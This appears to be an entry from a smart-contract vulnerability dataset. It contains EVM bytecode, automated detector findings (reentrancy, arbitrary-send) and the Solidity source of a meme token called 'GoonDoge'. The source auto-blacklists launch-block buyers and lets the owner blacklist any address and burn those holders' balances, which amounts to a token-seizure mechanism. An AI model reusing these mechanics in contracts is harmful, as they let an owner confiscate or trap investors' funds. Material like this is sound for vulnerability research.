0505050158015611d11573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6260028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8d573d6000803e3d6000fd5b5050565b6000600654821115611dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcf90612f3f565b60405180910390fd5b6000611de26121eb565b9050611df7818461217490919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8b5781602001602082028036833780820191505090505b5090503081600081518110611ec9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6b57600080fd5b505afa158015611f7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa3919061294c565b81600181518110611fdd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a8565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a895949392919061309a565b600060405180830381600087803b1580156120c257600080fd5b505af11580156120d6573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210c576000905061216e565b6000828461211a919061323c565b9050828482612129919061320b565b14612169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216090612fbf565b60405180910390fd5b809150505b92915050565b60006121b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612216565b905092915050565b806121cc576121cb612279565b5b6121d78484846122aa565b806121e5576121e4612475565b5b50505050565b60008060006121f8612487565b9150915061220f818361217490919063ffffffff16565b9250505090565b6000808311829061225d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122549190612edd565b60405180910390fd5b506000838561226c919061320b565b9050809150509392505050565b600060085414801561228d57506000600954145b15612297576122a8565b600060088190555060006009819055505b565b6000806000806000806122bc876124e9565b95509550955095509550955061231a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123af85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fb816125f9565b61240584836126b6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612462919061307f565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124bd683635c9adc5dea0000060065461217490919063ffffffff16565b8210156124dc57600654683635c9adc5dea000009350935050506124e5565b81819350935050505b9091565b60008060008060008060008060006125068a6008546009546126f0565b92509250925060006125166121eb565b905060008060006125298e878787612786565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c32565b905092915050565b60008082846125aa91906131b5565b9050838110156125ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e690612f7f565b60405180910390fd5b8091505092915050565b60006126036121eb565b9050600061261a82846120f990919063ffffffff16565b905061266e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cb8260065461255190919063ffffffff16565b6006819055506126e68160075461259b90919063ffffffff16565b6007819055505050565b60008060008061271c606461270e888a6120f990919063ffffffff16565b61217490919063ffffffff16565b905060006127466064612738888b6120f990919063ffffffff16565b61217490919063ffffffff16565b9050600061276f82612761858c61255190919063ffffffff16565b61255190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279f85896120f990919063ffffffff16565b905060006127b686896120f990919063ffffffff16565b905060006127cd87896120f990919063ffffffff16565b905060006127f6826127e8858761255190919063ffffffff16565b61255190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282261281d84613134565b61310f565b9050808382526020820190508285602086028201111561284157600080fd5b60005b858110156128715781612857888261287b565b845260208401935060208301925050600181019050612844565b5050509392505050565b60008135905061288a81613772565b92915050565b60008151905061289f81613772565b92915050565b600082601f8301126128b657600080fd5b81356128c684826020860161280f565b91505092915050565b6000813590506128de81613789565b92915050565b6000815190506128f381613789565b92915050565b600081359050612908816137a0565b92915050565b60008151905061291d816137a0565b92915050565b60006020828403121561293557600080fd5b60006129438482850161287b565b91505092915050565b60006020828403121561295e57600080fd5b600061296c84828501612890565b91505092915050565b6000806040838503121561298857600080fd5b60006129968582860161287b565b92505060206129a78582860161287b565b9150509250929050565b6000806000606084860312156129c657600080fd5b60006129d48682870161287b565b93505060206129e58682870161287b565b92505060406129f6868287016128f9565b9150509250925092565b60008060408385031215612a1357600080fd5b6000612a218582860161287b565b9250506020612a32858286016128f9565b9150509250929050565b600060208284031215612a4e57600080fd5b600082013567ffffffffffffffff811115612a6857600080fd5b612a74848285016128a5565b91505092915050565b600060208284031215612a8f57600080fd5b6000612a9d848285016128cf565b91505092915050565b600060208284031215612ab857600080fd5b6000612ac6848285016128e4565b91505092915050565b600060208284031215612ae157600080fd5b6000612aef848285016128f9565b91505092915050565b600080600060608486031215612b0d57600080fd5b6000612b1b8682870161290e565b9350506020612b2c8682870161290e565b9250506040612b3d8682870161290e565b9150509250925092565b6000612b538383612b5f565b60208301905092915050565b612b68816132ca565b82525050565b612b77816132ca565b82525050565b6000612b8882613170565b612b928185613193565b9350612b9d83613160565b8060005b83811015612bce578151612bb58882612b47565b9750612bc083613186565b925050600181019050612ba1565b5085935050505092915050565b612be4816132dc565b82525050565b612bf38161331f565b82525050565b6000612c048261317b565b612c0e81856131a4565b9350612c1e818560208601613331565b612c278161346b565b840191505092915050565b6000612c3f6023836131a4565b9150612c4a8261347c565b604082019050919050565b6000612c62601a836131a4565b9150612c6d826134cb565b602082019050919050565b6000612c85602a836131a4565b9150612c90826134f4565b604082019050919050565b6000612ca86022836131a4565b9150612cb382613543565b604082019050919050565b6000612ccb601b836131a4565b9150612cd682613592565b602082019050919050565b6000612cee601d836131a4565b9150612cf9826135bb565b602082019050919050565b6000612d116021836131a4565b9150612d1c826135e4565b604082019050919050565b6000612d346020836131a4565b9150612d3f82613633565b602082019050919050565b6000612d576029836131a4565b9150612d628261365c565b604082019050919050565b6000612d7a6025836131a4565b9150612d85826136ab565b604082019050919050565b6000612d9d6024836131a4565b9150612da8826136fa565b604082019050919050565b6000612dc06011836131a4565b9150612dcb82613749565b602082019050919050565b612ddf81613308565b82525050565b612dee81613312565b82525050565b6000602082019050612e096000830184612b6e565b92915050565b6000604082019050612e246000830185612b6e565b612e316020830184612b6e565b9392505050565b6000604082019050612e4d6000830185612b6e565b612e5a6020830184612dd6565b9392505050565b600060c082019050612e766000830189612b6e565b612e836020830188612dd6565b612e906040830187612bea565b612e9d6060830186612bea565b612eaa6080830185612b6e565b612eb760a0830184612dd6565b979650505050505050565b6000602082019050612ed76000830184612bdb565b92915050565b60006020820190508181036000830152612ef78184612bf9565b905092915050565b60006020820190508181036000830152612f1881612c32565b9050919050565b60006020820190508181036000830152612f3881612c55565b9050919050565b60006020820190508181036000830152612f5881612c78565b9050919050565b60006020820190508181036000830152612f7881612c9b565b9050919050565b60006020820190508181036000830152612f9881612cbe565b9050919050565b60006020820190508181036000830152612fb881612ce1565b9050919050565b60006020820190508181036000830152612fd881612d04565b9050919050565b60006020820190508181036000830152612ff881612d27565b9050919050565b6000602082019050818103600083015261301881612d4a565b9050919050565b6000602082019050818103600083015261303881612d6d565b9050919050565b6000602082019050818103600083015261305881612d90565b9050919050565b6000602082019050818103600083015261307881612db3565b9050919050565b60006020820190506130946000830184612dd6565b92915050565b600060a0820190506130af6000830188612dd6565b6130bc6020830187612bea565b81810360408301526130ce8186612b7d565b90506130dd6060830185612b6e565b6130ea6080830184612dd6565b9695505050505050565b60006020820190506131096000830184612de5565b92915050565b600061311961312a565b90506131258282613364565b919050565b6000604051905090565b600067ffffffffffffffff82111561314f5761314e61343c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c082613308565b91506131cb83613308565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613200576131ff6133de565b5b828201905092915050565b600061321682613308565b915061322183613308565b9250826132315761323061340d565b5b828204905092915050565b600061324782613308565b915061325283613308565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328b5761328a6133de565b5b828202905092915050565b60006132a182613308565b91506132ac83613308565b9250828210156132bf576132be6133de565b5b828203905092915050565b60006132d5826132e8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332a82613308565b9050919050565b60005b8381101561334f578082015181840152602081019050613334565b8381111561335e576000848401525b50505050565b61336d8261346b565b810181811067ffffffffffffffff8211171561338c5761338b61343c565b5b80604052505050565b60006133a082613308565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d3576133d26133de565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377b816132ca565b811461378657600080fd5b50565b613792816132dc565b811461379d57600080fd5b50565b6137a981613308565b81146137b457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220751cf7fa8b23f88177c52b32f20db387058319b4bd383ec07467f57fbbc096f664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,056 |
0xD771d1839799CB50172c42965Ba2Ca247F84c156
|
pragma solidity ^0.6.12;
// SPDX-License-Identifier: MIT
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract GoonDoge is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Goon Doge\xF0\x9F\x92\xB8";
string private constant _symbol = "gDOGE\xF0\x9F\x92\xB8";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10 ** 12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 0;
uint256 private _teamFee = 10;
address private burnAddress = 0x000000000000000000000000000000000000dEaD;
// Bot detection
address[] private botArray;
mapping(address => bool) private bots;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private launchBlock = 0;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) public {
_marketingFunds = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 0;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner() && tx.origin != owner()) {
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (block.number == launchBlock) {
bots[to] = true;
botArray.push(to);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance > 0) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingFunds.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
_maxTxAmount = 5000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _marketingFunds);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingFunds);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
botArray.push(bots_[i]);
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function burnBots() public onlyOwner {
for (uint256 i = 0; i < botArray.length; i ++) {
if (bots[botArray[i]] && balanceOf(botArray[i]) > 0) {
_transfer(botArray[i], burnAddress, balanceOf(botArray[i]));
}
}
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061012d5760003560e01c80638da5cb5b116100a5578063c3c8cd8011610074578063d543dbeb11610059578063d543dbeb14610490578063dd62ed3e146104ba578063fe598ba1146104f557610134565b8063c3c8cd8014610466578063c9567bf91461047b57610134565b80638da5cb5b1461033757806395d89b4114610368578063a9059cbb1461037d578063b515566a146103b657610134565b8063273123b7116100fc5780636fc3eaec116100e15780636fc3eaec146102da57806370a08231146102ef578063715018a61461032257610134565b8063273123b71461027a578063313ce567146102af57610134565b806306fdde0314610139578063095ea7b3146101c357806318160ddd1461021057806323b872dd1461023757610134565b3661013457005b600080fd5b34801561014557600080fd5b5061014e61050a565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610188578181015183820152602001610170565b50505050905090810190601f1680156101b55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cf57600080fd5b506101fc600480360360408110156101e657600080fd5b506001600160a01b038135169060200135610541565b604080519115158252519081900360200190f35b34801561021c57600080fd5b5061022561055f565b60408051918252519081900360200190f35b34801561024357600080fd5b506101fc6004803603606081101561025a57600080fd5b506001600160a01b0381358116916020810135909116906040013561056c565b34801561028657600080fd5b506102ad6004803603602081101561029d57600080fd5b50356001600160a01b03166105f3565b005b3480156102bb57600080fd5b506102c461067e565b6040805160ff9092168252519081900360200190f35b3480156102e657600080fd5b506102ad610683565b3480156102fb57600080fd5b506102256004803603602081101561031257600080fd5b50356001600160a01b03166106b7565b34801561032e57600080fd5b506102ad6106d9565b34801561034357600080fd5b5061034c61078d565b604080516001600160a01b039092168252519081900360200190f35b34801561037457600080fd5b5061014e61079c565b34801561038957600080fd5b506101fc600480360360408110156103a057600080fd5b506001600160a01b0381351690602001356107d3565b3480156103c257600080fd5b506102ad600480360360208110156103d957600080fd5b8101906020810181356401000000008111156103f457600080fd5b82018360208201111561040657600080fd5b8035906020019184602083028401116401000000008311171561042857600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506107e7945050505050565b34801561047257600080fd5b506102ad610905565b34801561048757600080fd5b506102ad610942565b34801561049c57600080fd5b506102ad600480360360208110156104b357600080fd5b5035610da3565b3480156104c657600080fd5b50610225600480360360408110156104dd57600080fd5b506001600160a01b0381358116916020013516610eba565b34801561050157600080fd5b506102ad610ee5565b60408051808201909152600d81527f476f6f6e20446f6765f09f92b800000000000000000000000000000000000000602082015290565b600061055561054e61101e565b8484611022565b5060015b92915050565b683635c9adc5dea0000090565b600061057984848461110e565b6105e98461058561101e565b6105e485604051806060016040528060288152602001611c47602891396001600160a01b038a166000908152600460205260408120906105c361101e565b6001600160a01b0316815260208101919091526040016000205491906113e3565b611022565b5060019392505050565b6105fb61101e565b6000546001600160a01b0390811691161461065d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b03166000908152600c60205260409020805460ff19169055565b600990565b600d546001600160a01b031661069761101e565b6001600160a01b0316146106aa57600080fd5b476106b48161147a565b50565b6001600160a01b038116600090815260026020526040812054610559906114b4565b6106e161101e565b6000546001600160a01b03908116911614610743576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60408051808201909152600981527f67444f4745f09f92b80000000000000000000000000000000000000000000000602082015290565b60006105556107e061101e565b848461110e565b6107ef61101e565b6000546001600160a01b03908116911614610851576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60005b8151811015610901576001600c600084848151811061086f57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600b8282815181106108bc57fe5b60209081029190910181015182546001808201855560009485529290932090920180546001600160a01b0319166001600160a01b039093169290921790915501610854565b5050565b600d546001600160a01b031661091961101e565b6001600160a01b03161461092c57600080fd5b6000610937306106b7565b90506106b481611514565b61094a61101e565b6000546001600160a01b039081169116146109ac576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600f54600160a01b900460ff1615610a0b576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610a549030906001600160a01b0316683635c9adc5dea00000611022565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8d57600080fd5b505afa158015610aa1573d6000803e3d6000fd5b505050506040513d6020811015610ab757600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610b0757600080fd5b505afa158015610b1b573d6000803e3d6000fd5b505050506040513d6020811015610b3157600080fd5b5051604080517fffffffff0000000000000000000000000000000000000000000000000000000060e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610b9b57600080fd5b505af1158015610baf573d6000803e3d6000fd5b505050506040513d6020811015610bc557600080fd5b5051600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d7194730610bf7816106b7565b600080610c0261078d565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610c6d57600080fd5b505af1158015610c81573d6000803e3d6000fd5b50505050506040513d6060811015610c9857600080fd5b5050600f8054674563918244f400006010557fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff7fffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffff909116600160b01b1716600160a01b1790819055600e54604080517f095ea7b30000000000000000000000000000000000000000000000000000000081526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610d7057600080fd5b505af1158015610d84573d6000803e3d6000fd5b505050506040513d6020811015610d9a57600080fd5b50504360115550565b610dab61101e565b6000546001600160a01b03908116911614610e0d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60008111610e62576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610e806064610e7a683635c9adc5dea00000846116fb565b90611754565b601081905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b610eed61101e565b6000546001600160a01b03908116911614610f4f576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a20